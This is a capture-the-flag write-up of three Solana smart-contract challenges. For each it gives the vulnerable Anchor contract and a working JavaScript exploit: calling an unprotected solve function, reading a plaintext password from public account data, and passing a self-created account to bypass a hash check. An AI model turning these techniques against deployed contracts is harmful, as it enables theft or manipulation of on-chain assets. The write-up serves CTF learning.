> For the complete documentation index, see [llms.txt](https://miraicantsleep.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://miraicantsleep.gitbook.io/notes/ctf/tcp1p-ctf-special-ramadan-2025/blockchain.md).

# Blockchain

| Name                    | Solves |
| ----------------------- | ------ |
| solantol :third\_place: | 10     |
| solantol 2              | 7      |
| solantol 3              | 7      |

{% hint style="warning" %}
Please do note that i am a complete beginner at this category. So expect the exploit code to be a little weird because of ChatGPT :pray:
{% endhint %}

## solantol

### Description

> Author: **dimas**
>
> Challenge solana pertama di TCP1P :)
>
> Connect: <http://playground.tcp1p.team:7752>

### Initial Analysis

We are given a Solana smart contract

```rust
use anchor_lang::prelude::*;

declare_id!("CZY19xitzMjHWa25P3rzWsz3BLuBRpBnby2FQ7LTE4mQ");

#[program]
pub mod setup {
    use super::*;

    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
        let solved_account = &mut ctx.accounts.solved_account;
        solved_account.solved = false;
        Ok(())
    }

    pub fn solve(ctx: Context<Solve>) -> Result<()> {
        let solved_account = &mut ctx.accounts.solved_account;
        solved_account.solved = true;
        Ok(())
    }

    pub fn is_solved(ctx: Context<IsSolved>) -> Result<bool> {
        let solved_account = &ctx.accounts.solved_account;
        Ok(solved_account.solved)
    }
}

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(
        init,
        payer = user,
        space = 8 + 1,
    )]
    pub solved_account: Account<'info, SolvedState>,
    #[account(mut)]
    pub user: Signer<'info>,
    pub system_program: Program<'info, System>,
}

#[derive(Accounts)]
pub struct Solve<'info> {
    #[account(mut)]
    pub solved_account: Account<'info, SolvedState>,
}

#[derive(Accounts)]
pub struct IsSolved<'info> {
    pub solved_account: Account<'info, SolvedState>,
}

#[account]
pub struct SolvedState {
    pub solved: bool,
}
```

The objective is simple, we just need to call the `solve` function to flip the `isSolved` variable to True.

### Exploitation

Basically we need to call the solve function

```javascript
const anchor = require("@project-serum/anchor");
const bs58 = require("bs58");
const { PublicKey, Keypair, Connection } = anchor.web3;
const RPC_URL =
    "http://playground.tcp1p.team:7752/e6dccc7a-5348-4eba-9c54-11ca05efbcd5";
const connection = new Connection(RPC_URL, "confirmed");
const playerSecret = bs58.default.decode(
    "e3oEyUUvk6WfvXzDhPrLimENYLwyn4QWoK3VTy8C5jqZ4E1CZK3ek2tGJ8JYvfnhdhgTWJ514ej74RAHtkyoYUQ"
);
const playerKeypair = Keypair.fromSecretKey(playerSecret);
const wallet = new anchor.Wallet(playerKeypair);
const provider = new anchor.AnchorProvider(connection, wallet, {});
anchor.setProvider(provider);
const programId = new PublicKey("GfzNr5biA4CnUimnHP9jTHcitbumJRUbprcBfuFjiT8o");
const idl = {
    version: "0.0.0",
    name: "setup",
    instructions: [
        {
            name: "initialize",
            accounts: [
                { name: "solvedAccount", isMut: true, isSigner: false },
                { name: "user", isMut: true, isSigner: true },
                { name: "systemProgram", isMut: false, isSigner: false },
            ],
            args: [],
        },
        {
            name: "solve",
            accounts: [{ name: "solvedAccount", isMut: true, isSigner: false }],
            args: [],
        }
    ]
};
const program = new anchor.Program(idl, programId, provider);
const solvedAccount = new PublicKey(
    "B3E6bhLJ5HFk1Qw4TSeZZTzeU6Req3YsRBFBKFFkS5si"
);
(async () => {
    try {
        const tx = await program.rpc.solve({ accounts: { solvedAccount } });
        console.log("Transaction signature:", tx);
    } catch (e) {
        console.error(e);
    }
})();
```

First, we need to sets up the credentials given from the server. Then we define the program interface (IDL) so we can match it with the real contract. Then in here:

```javascript
(async () => {
    try {
        const tx = await program.rpc.solve({ accounts: { solvedAccount } });
        console.log("Transaction signature:", tx);
    } catch (e) {
        console.error(e);
    }
})
```

We just call the solve function. Then it is solved!

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2F9l0S6QuU1ARxSF2CoUFb%2Fimage.png?alt=media&amp;token=c2be4a5a-ac52-4e67-8af1-89f3c156a78a" alt=""><figcaption><p>Solved!</p></figcaption></figure>

{% hint style="success" %}
Flag: **RAMADAN{susahnya\_setup\_infra\_solana}**
{% endhint %}

## solantol 2

### Description

> Author: **dimas**
>
> Challenge solana kedua di TCP1P :)
>
> Connect: <http://playground.tcp1p.team:8752>

### Initial Analysis

We are given yet another Solana smart contract:

```rust
use anchor_lang::prelude::*;

declare_id!("CZY19xitzMjHWa25P3rzWsz3BLuBRpBnby2FQ7LTE4mQ");

#[program]
pub mod setup {
    use super::*;

    pub fn initialize(ctx: Context<Initialize>, password: String) -> Result<()> {
        let vault = &mut ctx.accounts.vault;
        vault.password = password;
        vault.solved = false;
        vault.owner = ctx.accounts.user.key();
        Ok(())
    }

    pub fn solve(ctx: Context<Solve>, password: String) -> Result<()> {
        let vault = &mut ctx.accounts.vault;
        
        if password == vault.password {
            vault.solved = true;
        }
        
        Ok(())
    }

    pub fn is_solved(ctx: Context<IsSolved>) -> Result<bool> {
        let vault = &ctx.accounts.vault;
        Ok(vault.solved)
    }
}

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(
        init,
        payer = user,
        space = 8 + VaultState::INIT_SPACE,
    )]
    pub vault: Account<'info, VaultState>,
    #[account(mut)]
    pub user: Signer<'info>,
    pub system_program: Program<'info, System>,
}

#[derive(Accounts)]
pub struct Solve<'info> {
    #[account(mut)]
    pub vault: Account<'info, VaultState>,
}

#[derive(Accounts)]
pub struct IsSolved<'info> {
    pub vault: Account<'info, VaultState>,
}

#[account]
#[derive(InitSpace)]
pub struct VaultState {
    pub owner: Pubkey,
    #[max_len(100)]
    pub password: String,
    pub solved: bool,
}
```

The vulnerability lies in:

```rust
pub fn initialize(ctx: Context<Initialize>, password: String) -> Result<()> {
    let vault = &mut ctx.accounts.vault;
    vault.password = password;
    vault.solved = false;
    vault.owner = ctx.accounts.user.key();
    Ok(())
}
```

The program stores the password as a plaintext string. Since all Solana account data is public. We can read it from the VaultState.

```rust
#[account]
#[derive(InitSpace)]
pub struct VaultState {
    pub owner: Pubkey,
    #[max_len(100)]
    pub password: String,
    pub solved: bool,
}
```

```rust
pub fn solve(ctx: Context<Solve>, password: String) -> Result<()> {
    let vault = &mut ctx.accounts.vault;
    
    if password == vault.password {
        vault.solved = true;
    }
    
    Ok(())
}
```

Then to solve it, we need to call solve, with the argument, of the password.

### Exploitation

Well because the password is stored as plaintext on the vault. We can just read the vault, get the password and submit it to the `solve` function. We sets up the IDL just like before to make our life easier.

<pre class="language-javascript"><code class="lang-javascript"><strong>const anchor = require("@project-serum/anchor");
</strong>const bs58 = require("bs58");
const { PublicKey, Keypair, Connection } = anchor.web3;
const RPC_URL =
  "http://playground.tcp1p.team:8752/a8142c5a-5e96-4afb-955b-343407e94ce5";
const connection = new Connection(RPC_URL, "confirmed");
const playerSecret = bs58.default.decode(
  "4BNkMEGPeTjXfq9fT69SJmZffPK6dJLhFq5QpQYEn3vbDV2bapbPwxJfYeBMg6HCV4eyqxWCBg3oPtMzVTTfaCKA"
);
const playerKeypair = Keypair.fromSecretKey(playerSecret);
const wallet = new anchor.Wallet(playerKeypair);
const provider = new anchor.AnchorProvider(connection, wallet, {});
anchor.setProvider(provider);
const programId = new PublicKey("3hGZbHn6LEQ8ePktjKAa4vF3Lb7QuBX6qGWrpy3BCkjS");
const idl = {
  version: "0.0.0",
  name: "setup",
  instructions: [
    {
      name: "initialize",
      accounts: [
        { name: "vault", isMut: true, isSigner: false },
        { name: "user", isMut: true, isSigner: true },
        { name: "systemProgram", isMut: false, isSigner: false },
      ],
      args: [{ name: "password", type: "string" }],
    },
    {
      name: "solve",
      accounts: [{ name: "vault", isMut: true, isSigner: false }],
      args: [{ name: "password", type: "string" }],
    }
  ],
  accounts: [
    {
      name: "vaultState",
      type: {
        kind: "struct",
        fields: [
          { name: "owner", type: "publicKey" },
          { name: "password", type: "string" },
          { name: "solved", type: "bool" },
        ],
      },
    },
  ],
};
const program = new anchor.Program(idl, programId, provider);
const vaultAccount = new PublicKey("F6aQEDRdWHkYue5AehnWhKRA5Uygq4up8FqoYYbQHEaq");
(async () => {
  try {
    const vaultState = await program.account.vaultState.fetch(vaultAccount);
    const storedPassword = vaultState.password;
    console.log("Password:", storedPassword);
    const tx = await program.rpc.solve(storedPassword, {
      accounts: { vault: vaultAccount },
    });
    console.log("Transaction signature:", tx);
    const updatedVault = await program.account.vaultState.fetch(vaultAccount);
    console.log("Challenge solved:", updatedVault.solved);
  } catch (e) {
    console.error(e);
  }
})();
</code></pre>

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FaiUv6YrrQ6NT9wL8Ragq%2Fimage.png?alt=media&amp;token=e8714168-f556-48c9-86ae-91119f0fc423" alt=""><figcaption></figcaption></figure>

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FYOdB1U2xeQmQYpa2C34b%2Fimage.png?alt=media&amp;token=6733aa31-23d6-443b-ad0b-7fb8da892d4e" alt=""><figcaption><p>Solved!</p></figcaption></figure>

{% hint style="success" %}
Flag: **RAMADAN{everything\_is\_public\_and\_readable}**
{% endhint %}

## solantol 3

### Description

> Author: **dimas**
>
> Challenge solana ke-tiga di TCP1P :)
>
> Connect: <http://playground.tcp1p.team:9752>

### Initial Analysis

We are given yet another Solana smart contract:

```rust
use anchor_lang::prelude::*;
use sha2::{Sha256, Digest};
declare_id!("CZY19xitzMjHWa25P3rzWsz3BLuBRpBnby2FQ7LTE4mQ");
#[program]
pub mod setup {
    use super::*;

    pub fn initialize(ctx: Context<Initialize>, password: String) -> Result<()> {
        let vault = &mut ctx.accounts.vault;
        let mut hasher = Sha256::new();
        hasher.update(password.as_bytes());
        let password_hash = format!("{:x}", hasher.finalize());
        vault.password_hash = password_hash;
        vault.solved = false;
        vault.owner = ctx.accounts.user.key();
        Ok(())
    }

    pub fn attempt_solve(ctx: Context<Solve>, password: String) -> Result<()> {
        let vault = &mut ctx.accounts.vault;
        
        let mut hasher = Sha256::new();
        hasher.update(password.as_bytes());
        let result = format!("{:x}", hasher.finalize());

        require!(result == ctx.accounts.attempt_deposit.password_hash, CustomError::IncorrectPassword);
        vault.solved = true;
       
        Ok(())
    }

    pub fn is_solved(ctx: Context<IsSolved>) -> Result<bool> {
        let vault = &ctx.accounts.vault;
        Ok(vault.solved)
    }
}

#[error_code]
pub enum CustomError {
    #[msg("Incorrect password")]
    IncorrectPassword,
    #[msg("Incorrect owner")]
    IncorrectOwner,
}

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(
        init,
        payer = user,
        space = 8 + VaultState::INIT_SPACE,
    )]
    pub vault: Account<'info, VaultState>,
    #[account(mut)]
    pub user: Signer<'info>,
    pub system_program: Program<'info, System>,
}

#[derive(Accounts)]
pub struct Solve<'info> {
    #[account(mut)]
    pub vault: Account<'info, VaultState>,
    #[account(mut)]
    pub attempt_deposit: Account<'info, VaultState>,
    #[account(mut)]
    pub user: Signer<'info>,
}

#[derive(Accounts)]
pub struct IsSolved<'info> {
    pub vault: Account<'info, VaultState>,
}

#[account]
#[derive(InitSpace)]
pub struct VaultState {
    pub owner: Pubkey,
    #[max_len(64)]
    pub password_hash: String,
    pub solved: bool,
}
```

The vault password here is hashed. But there's a logic error here:

```rust
pub fn attempt_solve(ctx: Context<Solve>, password: String) -> Result<()> {
    let vault = &mut ctx.accounts.vault;
    
    let mut hasher = Sha256::new();
    hasher.update(password.as_bytes());
    let result = format!("{:x}", hasher.finalize());

    require!(result == ctx.accounts.attempt_deposit.password_hash, CustomError::IncorrectPassword);
    vault.solved = true;
   
    Ok(())
}
```

It checks if the hash result of the **passed password is equal to the accounts password\_hash**, where it should have been compared to **vault.password\_hash.** With this logic, we can just create an account, with a known password. Then pass it to the attempt\_solve method.

### Exploitation

The exploit is simple enough, i don't think i can provide much explanation:

```javascript
const anchor = require("@project-serum/anchor");
const bs58 = require("bs58");
const { PublicKey, Keypair, Connection, SystemProgram } = anchor.web3;
const RPC_URL =
  "http://playground.tcp1p.team:9752/5af27991-295f-48db-acaf-98a7d54d6d1b";
const connection = new Connection(RPC_URL, "confirmed");
const playerSecret = bs58.default.decode(
  "L3pLyDJEMjTBqRC3sSAPvWhU2Ua8FFdxP6KnMbLw6Vh3NHLqyJren6V5wrWCVzNnHjV77tiH476HQ3iiJmGU6d8"
);
const playerKeypair = Keypair.fromSecretKey(playerSecret);
const wallet = new anchor.Wallet(playerKeypair);
const provider = new anchor.AnchorProvider(connection, wallet, {});
anchor.setProvider(provider);
const programId = new PublicKey("9ezknT1vry9kuzwe2genJip524qTA4Suof4DcEN7QB3S");
const idl = {
  "version": "0.0.0",
  "name": "setup",
  "instructions": [
    {
      "name": "initialize",
      "accounts": [
        { "name": "vault", "isMut": true, "isSigner": true },
        { "name": "user", "isMut": true, "isSigner": true },
        { "name": "systemProgram", "isMut": false, "isSigner": false }
      ],
      "args": [
        { "name": "password", "type": "string" }
      ]
    },
    {
      "name": "attemptSolve",
      "accounts": [
        { "name": "vault", "isMut": true, "isSigner": false },
        { "name": "attemptDeposit", "isMut": true, "isSigner": false },
        { "name": "user", "isMut": true, "isSigner": true }
      ],
      "args": [
        { "name": "password", "type": "string" }
      ]
    },
    {
      "name": "isSolved",
      "accounts": [
        { "name": "vault", "isMut": false, "isSigner": false }
      ],
      "args": []
    }
  ],
  "accounts": [
    {
      "name": "vaultState",
      "type": {
        "kind": "struct",
        "fields": [
          { "name": "owner", "type": "publicKey" },
          { "name": "passwordHash", "type": "string" },
          { "name": "solved", "type": "bool" }
        ]
      }
    }
  ]
};
const program = new anchor.Program(idl, programId, provider);
const vaultAccount = new PublicKey("9CetqxD2CwTAHsUShrhoysXVE4BYMWw1VtC33AissFzS");
const attemptDepositKeypair = Keypair.generate();
const exploitPassword = "miraimirai";
(async () => {
  try {
    const txInit = await program.rpc.initialize(exploitPassword, {
      accounts: {
        vault: attemptDepositKeypair.publicKey,
        user: playerKeypair.publicKey,
        systemProgram: SystemProgram.programId,
      },
      signers: [attemptDepositKeypair],
    });
    console.log("Initialized attemptDeposit account, tx signature:", txInit);
    
    const txSolve = await program.rpc.attemptSolve(exploitPassword, {
      accounts: {
        vault: vaultAccount,
        attemptDeposit: attemptDepositKeypair.publicKey,
        user: playerKeypair.publicKey,
      }
    });        
    console.log("Called attemptSolve, tx signature:", txSolve);
    const vaultState = await program.account.vaultState.fetch(vaultAccount);
    console.log("Vault solved state:", vaultState.solved);
  } catch (e) {
    console.error(e);
  }
})();
```

First we create a new account by calling `initialize` function on the contract:

```javascript
const txInit = await program.rpc.initialize(exploitPassword, {
  accounts: {
    vault: attemptDepositKeypair.publicKey,
    user: playerKeypair.publicKey,
    systemProgram: SystemProgram.programId,
  },
  signers: [attemptDepositKeypair],
});
```

Then we just call the `attempt_solve` function with our known password  to solve it:

```javascript
const txSolve = await program.rpc.attemptSolve(exploitPassword, {
  accounts: {
    vault: vaultAccount,
    attemptDeposit: attemptDepositKeypair.publicKey,
    user: playerKeypair.publicKey,
  }
});        
console.log("Called attemptSolve, tx signature:", txSolve);
const vaultState = await program.account.vaultState.fetch(vaultAccount);
console.log("Vault solved state:", vaultState.solved);
```

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2Fg3NrISpbLbOsA7vAj1Wo%2Fimage.png?alt=media&amp;token=c36113b3-fb42-4a67-9892-f46a03208d95" alt=""><figcaption><p>isSolved = True</p></figcaption></figure>

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FzdRiCQe9XJq7uvdDEkMU%2Fimage.png?alt=media&amp;token=2d6ccf62-f502-4090-9f7e-7346d88aec48" alt=""><figcaption><p>Solved!</p></figcaption></figure>

{% hint style="success" %}
Flag: **RAMADAN{congrats\_you\_just\_create\_your\_first\_account}**
{% endhint %}
